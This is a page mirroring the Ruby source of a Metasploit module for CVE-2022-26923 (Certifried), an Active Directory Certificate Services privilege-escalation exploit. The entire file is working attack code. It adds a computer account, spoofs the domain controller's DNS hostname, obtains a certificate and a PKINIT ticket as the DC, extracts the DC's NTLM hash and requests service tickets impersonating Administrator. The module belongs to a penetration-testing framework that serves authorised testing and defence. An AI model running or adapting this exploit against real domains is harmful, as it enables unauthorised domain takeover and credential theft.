CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::SMB::Client::Authenticated
8
alias connect_smb_client connect
9
10
include Msf::Exploit::Remote::Kerberos::Client
11
12
include Msf::Exploit::Remote::LDAP
13
include Msf::Auxiliary::Report
14
include Msf::Exploit::Remote::MsIcpr
15
include Msf::Exploit::Remote::MsSamr::Computer
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Active Directory Certificate Services (ADCS) privilege escalation (Certifried)',
22
'Description' => %q{
23
This module exploits a privilege escalation vulnerability in Active
24
Directory Certificate Services (ADCS) to generate a valid certificate
25
impersonating the Domain Controller (DC) computer account. This
26
certificate is then used to authenticate to the target as the DC
27
account using PKINIT preauthentication mechanism. The module will get
28
and cache the Ticket-Granting-Ticket (TGT) for this account along
29
with its NTLM hash. Finally, it requests a TGS impersonating a
30
privileged user (Administrator by default). This TGS can then be used
31
by other modules or external tools.
32
},
33
'License' => MSF_LICENSE,
34
'Author' => [
35
'Oliver Lyak', # Discovery
36
'CravateRouge', # bloodyAD implementation
37
'Erik Wynter', # MSF module
38
'Christophe De La Fuente' # MSF module
39
],
40
'References' => [
41
['URL', 'https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4'],
42
['URL', 'https://cravaterouge.github.io/ad/privesc/2022/05/11/bloodyad-and-CVE-2022-26923.html'],
43
['CVE', '2022-26923']
44
],
45
'Notes' => {
46
'AKA' => [ 'Certifried' ],
47
'Reliability' => [],
48
'Stability' => [CRASH_SAFE],
49
'SideEffects' => [ IOC_IN_LOGS ]
50
},
51
'Actions' => [
52
[ 'REQUEST_CERT', { 'Description' => 'Request a certificate with DNS host name matching the DC' } ],
53
[ 'AUTHENTICATE', { 'Description' => 'Same as REQUEST_CERT but also authenticate' } ],
54
[ 'PRIVESC', { 'Description' => 'Full privilege escalation attack' } ]
55
],
56
'DefaultAction' => 'PRIVESC',
57
'DefaultOptions' => {
58
'RPORT' => 445,
59
'SSL' => true,
60
'DOMAIN' => ''
61
}
62
)
63
)
64
65
register_options([
66
# Using USERNAME, PASSWORD and DOMAIN options defined by the LDAP mixin
67
OptString.new('DC_NAME', [ true, 'Name of the domain controller being targeted (must match RHOST)' ]),
68
OptInt.new('LDAP_PORT', [true, 'LDAP port (default is 389 and default encrypted is 636)', 636]), # Set to 636 for legacy SSL
69
OptString.new('DOMAIN', [true, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local']),
70
OptString.new('USERNAME', [true, 'The username to authenticate with']),
71
OptString.new('PASSWORD', [true, 'The password to authenticate with']),
72
OptString.new(
73
'SPN', [
74
false,
75
'The Service Principal Name used to request an additional impersonated TGS, format is "service_name/FQDN" '\
76
'(e.g. "ldap/dc01.mydomain.local"). Note that, independently of this option, a TGS for "cifs/<DC_NAME>.<DOMAIN>"'\
77
' will always be requested.',
78
],
79
conditions: %w[ACTION == PRIVESC]
80
),
81
OptString.new(
82
'IMPERSONATE', [
83
true,
84
'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',
85
'Administrator'
86
],
87
conditions: %w[ACTION == PRIVESC]
88
)
89
])
90
91
deregister_options('CERT_TEMPLATE', 'ALT_DNS', 'ALT_UPN', 'PFX', 'ON_BEHALF_OF', 'SMBUser', 'SMBPass', 'SMBDomain')
92
end
93
94
def run
95
@privesc_success = false
96
@computer_created = false
97
98
opts = {}
99
validate_options
100
unless can_add_computer?
101
fail_with(Failure::NoAccess, 'Machine account quota is zero, this user cannot create a computer account')
102
end
103
104
opts[:tree] = connect_smb
105
computer_info = add_computer(opts)
106
@computer_created = true
107
disconnect_smb(opts.delete(:tree))
108
109
impersonate_dc(computer_info.name)
110
111
opts = {
112
username: computer_info.name,
113
password: computer_info.password
114
}
115
opts[:tree] = connect_smb(opts)
116
opts[:cert_template] = 'Machine'
117
cert = request_certificate(opts)
118
fail_with(Failure::UnexpectedReply, 'Unable to request the certificate.') unless cert
119
120
if ['AUTHENTICATE', 'PRIVESC'].include?(action.name)
121
credential, key = get_tgt(cert)
122
fail_with(Failure::UnexpectedReply, 'Unable to request the TGT.') unless credential && key
123
124
get_ntlm_hash(credential, key)
125
end
126
127
if action.name == 'PRIVESC'
128
# Always request a TGS for `cifs/...` SPN, since we need it to properly delete the computer account
129
default_spn = "cifs/#{datastore['DC_NAME']}.#{datastore['DOMAIN']}"
130
request_ticket(credential, default_spn)
131
@privesc_success = true
132
133
# If requested, get an additional TGS
134
if datastore['SPN'].present? && datastore['SPN'].casecmp(default_spn) != 0
135
begin
136
request_ticket(credential, datastore['SPN'])
137
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
138
print_error("Unable to get the additional TGS for #{datastore['SPN']}: #{e.message}")
139
end
140
end
141
end
142
rescue MsSamrConnectionError, MsIcprConnectionError => e
143
fail_with(Failure::Unreachable, e.message)
144
rescue MsSamrAuthenticationError, MsIcprAuthenticationError => e
145
fail_with(Failure::NoAccess, e.message)
146
rescue MsSamrNotFoundError, MsIcprNotFoundError => e
147
fail_with(Failure::NotFound, e.message)
148
rescue MsSamrBadConfigError => e
149
fail_with(Failure::BadConfig, e.message)
150
rescue MsSamrUnexpectedReplyError, MsIcprUnexpectedReplyError => e
151
fail_with(Failure::UnexpectedReply, e.message)
152
rescue MsSamrUnknownError, MsIcprUnknownError => e
153
fail_with(Failure::Unknown, e.message)
154
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
155
fail_with(Failure::Unknown, e.message)
156
ensure
157
if @computer_created
158
print_status("Deleting the computer account #{computer_info&.name}")
159
disconnect_smb(opts.delete(:tree)) if opts[:tree]
160
if @privesc_success
161
# If the privilege escalation succeeded, let'use the cached TGS
162
# impersonating the admin to delete the computer account
163
datastore['SMB::Auth'] = Msf::Exploit::Remote::AuthOption::KERBEROS
164
datastore['Smb::Rhostname'] = "#{datastore['DC_NAME']}.#{datastore['DOMAIN']}"
165
datastore['SMBDomain'] = datastore['DOMAIN']
166
datastore['DomainControllerRhost'] = rhost
167
tree = connect_smb(username: datastore['IMPERSONATE'])
168
else
169
tree = connect_smb
170
end
171
opts = {
172
tree: tree,
173
computer_name: computer_info&.name
174
}
175
begin
176
delete_computer(opts) if opts[:tree] && opts[:computer_name]
177
rescue MsSamrUnknownError => e
178
print_warning("Unable to delete the computer account, this will have to be done manually with an Administrator account (#{e.message})")
179
end
180
disconnect_smb(opts.delete(:tree)) if opts[:tree]
181
end
182
end
183
184
def validate_options
185
if datastore['USERNAME'].blank?
186
fail_with(Failure::BadConfig, 'USERNAME not set')
187
end
188
if datastore['PASSWORD'].blank?
189
fail_with(Failure::BadConfig, 'PASSWORD not set')
190
end
191
if datastore['DOMAIN'].blank?
192
fail_with(Failure::BadConfig, 'DOMAIN not set')
193
end
194
unless datastore['DOMAIN'].match(/.+\..+/)
195
fail_with(Failure::BadConfig, 'DOMAIN format must be FQDN (ex: mydomain.local)')
196
end
197
if datastore['CA'].blank?
198
fail_with(Failure::BadConfig, 'CA not set')
199
end
200
if datastore['DC_NAME'].blank?
201
fail_with(Failure::BadConfig, 'DC_NAME not set')
202
end
203
if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+\..+\..+})
204
fail_with(Failure::BadConfig, 'SPN format must be <service_name>/<hostname>.<FQDN> (ex: cifs/dc01.mydomain.local)')
205
end
206
end
207
208
def connect_smb(opts = {})
209
username = opts[:username] || datastore['USERNAME']
210
password = opts[:password] || datastore['PASSWORD']
211
domain = opts[:domain] || datastore['DOMAIN']
212
datastore['SMBUser'] = username
213
datastore['SMBPass'] = password
214
datastore['SMBDomain'] = domain
215
216
if datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS
217
vprint_status("Connecting SMB with #{username}.#{domain} using Kerberos authentication")
218
else
219
vprint_status("Connecting SMB with #{username}.#{domain}:#{password}")
220
end
221
begin
222
connect_smb_client
223
rescue Rex::ConnectionError, RubySMB::Error::RubySMBError => e
224
fail_with(Failure::Unreachable, e.message)
225
end
226
227
begin
228
smb_login
229
rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
230
fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e})")
231
end
232
report_service(
233
host: rhost,
234
port: rport,
235
host_name: simple.client.default_name,
236
proto: 'tcp',
237
name: 'smb',
238
info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"
239
)
240
241
begin
242
simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
243
rescue RubySMB::Error::RubySMBError => e
244
fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})")
245
end
246
end
247
248
def disconnect_smb(tree)
249
vprint_status('Disconnecting SMB')
250
tree.disconnect! if tree
251
simple.client.disconnect!
252
rescue RubySMB::Error::RubySMBError => e
253
print_warning("Unable to disconnect SMB ([#{e.class}] #{e})")
254
end
255
256
def can_add_computer?
257
vprint_status('Requesting the ms-DS-MachineAccountQuota value to see if we can add any computer accounts...')
258
259
quota = nil
260
begin
261
ldap_connection do |ldap|
262
ldap_options = {
263
filter: Net::LDAP::Filter.eq('objectclass', 'domainDNS'),
264
attributes: 'ms-DS-MachineAccountQuota',
265
return_result: false
266
}
267
ldap.search(ldap_options) do |entry|
268
quota = entry['ms-ds-machineaccountquota']&.first&.to_i
269
end
270
end
271
rescue Net::LDAP::Error => e
272
print_error("LDAP error: #{e.class}: #{e.message}")
273
end
274
275
if quota.blank?
276
print_warning('Received no result when trying to obtain ms-DS-MachineAccountQuota. Adding a computer account may not work.')
277
return true
278
end
279
280
vprint_status("ms-DS-MachineAccountQuota = #{quota}")
281
quota > 0
282
end
283
284
def print_ldap_error(ldap)
285
opres = ldap.get_operation_result
286
msg = "LDAP error #{opres.code}: #{opres.message}"
287
unless opres.error_message.to_s.empty?
288
msg += " - #{opres.error_message}"
289
end
290
print_error("#{peer} #{msg}")
291
end
292
293
def ldap_connection
294
ldap_peer = "#{rhost}:#{datastore['LDAP_PORT']}"
295
base = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')
296
ldap_options = {
297
port: datastore['LDAP_PORT'],
298
base: base
299
}
300
301
ldap_connect(ldap_options) do |ldap|
302
if ldap.get_operation_result.code != 0
303
print_ldap_error(ldap)
304
break
305
end
306
print_good("Successfully authenticated to LDAP (#{ldap_peer})")
307
yield ldap
308
end
309
end
310
311
def get_dnshostname(ldap, c_name)
312
dnshostname = nil
313
filter1 = Net::LDAP::Filter.eq('Name', c_name.delete_suffix('$'))
314
filter2 = Net::LDAP::Filter.eq('objectclass', 'computer')
315
joined_filter = Net::LDAP::Filter.join(filter1, filter2)
316
ldap_options = {
317
filter: joined_filter,
318
attributes: 'DNSHostname',
319
return_result: false
320
321
}
322
ldap.search(ldap_options) do |entry|
323
dnshostname = entry[:dnshostname]&.first
324
end
325
vprint_status("Retrieved original DNSHostame #{dnshostname} for #{c_name}") if dnshostname
326
dnshostname
327
end
328
329
def impersonate_dc(computer_name)
330
ldap_connection do |ldap|
331
dc_dnshostname = get_dnshostname(ldap, datastore['DC_NAME'])
332
print_status("Attempting to set the DNS hostname for the computer #{computer_name} to the DNS hostname for the DC: #{datastore['DC_NAME']}")
333
domain_to_ldif = datastore['DOMAIN'].split('.').map { |dc| "dc=#{dc}" }.join(',')
334
computer_dn = "cn=#{computer_name.delete_suffix('$')},cn=computers,#{domain_to_ldif}"
335
ldap.modify(dn: computer_dn, operations: [[ :add, :dnsHostName, dc_dnshostname ]])
336
new_computer_hostname = get_dnshostname(ldap, computer_name)
337
if new_computer_hostname != dc_dnshostname
338
fail_with(Failure::Unknown, 'Failed to change the DNS hostname')
339
end
340
print_good('Successfully changed the DNS hostname')
341
end
342
rescue Net::LDAP::Error => e
343
print_error("LDAP error: #{e.class}: #{e.message}")
344
end
345
346
def get_tgt(cert)
347
dc_name = datastore['DC_NAME'].dup.downcase
348
dc_name += '$' unless dc_name.ends_with?('$')
349
username, realm = extract_user_and_realm(cert.certificate, dc_name, datastore['DOMAIN'])
350
print_status("Attempting PKINIT login for #{username}@#{realm}")
351
begin
352
server_name = "krbtgt/#{realm}"
353
tgt_result = send_request_tgt_pkinit(
354
pfx: cert,
355
client_name: username,
356
realm: realm,
357
server_name: server_name,
358
rport: 88
359
)
360
print_good('Successfully authenticated with certificate')
361
362
report_service(
363
host: rhost,
364
port: rport,
365
name: 'Kerberos-PKINIT',
366
proto: 'tcp',
367
info: "Module: #{fullname}, Realm: #{realm}"
368
)
369
370
ccache = Rex::Proto::Kerberos::CredentialCache::Krb5Ccache.from_responses(tgt_result.as_rep, tgt_result.decrypted_part)
371
Msf::Exploit::Remote::Kerberos::Ticket::Storage.store_ccache(ccache, host: rhost, framework_module: self)
372
373
[ccache.credentials.first, tgt_result.krb_enc_key[:key]]
374
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
375
case e.error_code
376
when Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_CERTIFICATE_MISMATCH
377
print_error("Failed: #{e.message}, Target system is likely not vulnerable to Certifried")
378
else
379
print_error("Failed: #{e.message}")
380
end
381
nil
382
end
383
end
384
385
def get_ntlm_hash(credential, key)
386
dc_name = datastore['DC_NAME'].dup.downcase
387
dc_name += '$' unless dc_name.ends_with?('$')
388
print_status("Trying to retrieve NT hash for #{dc_name}")
389
390
realm = datastore['DOMAIN'].downcase
391
392
authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(
393
host: rhost,
394
realm: realm,
395
username: dc_name,
396
framework: framework,
397
framework_module: self
398
)
399
tgs_ticket, _tgs_auth = authenticator.u2uself(credential)
400
401
session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(
402
type: credential.keyblock.enctype.value,
403
value: credential.keyblock.data.value
404
)
405
ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(
406
tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)
407
)
408
value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value
409
pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)
410
pac_info_buffer = pac.pac_info_buffers.find do |buffer|
411
buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION
412
end
413
unless pac_info_buffer
414
print_error('NTLM hash not found in PAC')
415
return
416
end
417
418
serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(key)
419
ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash
420
print_good("Found NTLM hash for #{dc_name}: #{ntlm_hash}")
421
report_ntlm(realm, dc_name, ntlm_hash)
422
end
423
424
def report_ntlm(domain, user, hash)
425
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
426
service_data = {
427
address: rhost,
428
port: rport,
429
service_name: 'smb',
430
protocol: 'tcp',
431
workspace_id: myworkspace_id
432
}
433
credential_data = {
434
module_fullname: fullname,
435
origin_type: :service,
436
private_data: hash,
437
private_type: :ntlm_hash,
438
jtr_format: jtr_format,
439
username: user,
440
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
441
realm_value: domain
442
}.merge(service_data)
443
444
credential_core = create_credential(credential_data)
445
446
login_data = {
447
core: credential_core,
448
status: Metasploit::Model::Login::Status::UNTRIED
449
}.merge(service_data)
450
451
create_credential_login(login_data)
452
end
453
454
def request_ticket(credential, spn)
455
print_status("Getting TGS impersonating #{datastore['IMPERSONATE']}@#{datastore['DOMAIN']} (SPN: #{spn})")
456
457
dc_name = datastore['DC_NAME'].dup.downcase
458
dc_name += '$' if !dc_name.ends_with?('$')
459
460
options = {
461
host: rhost,
462
realm: datastore['DOMAIN'],
463
username: dc_name,
464
framework: framework,
465
framework_module: self
466
}
467
468
authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)
469
470
sname = Rex::Proto::Kerberos::Model::PrincipalName.new(
471
name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,
472
name_string: spn.split('/')
473
)
474
auth_options = {
475
sname: sname,
476
impersonate: datastore['IMPERSONATE']
477
}
478
authenticator.s4u2self(credential, auth_options)
479
end
480
481
end
482
483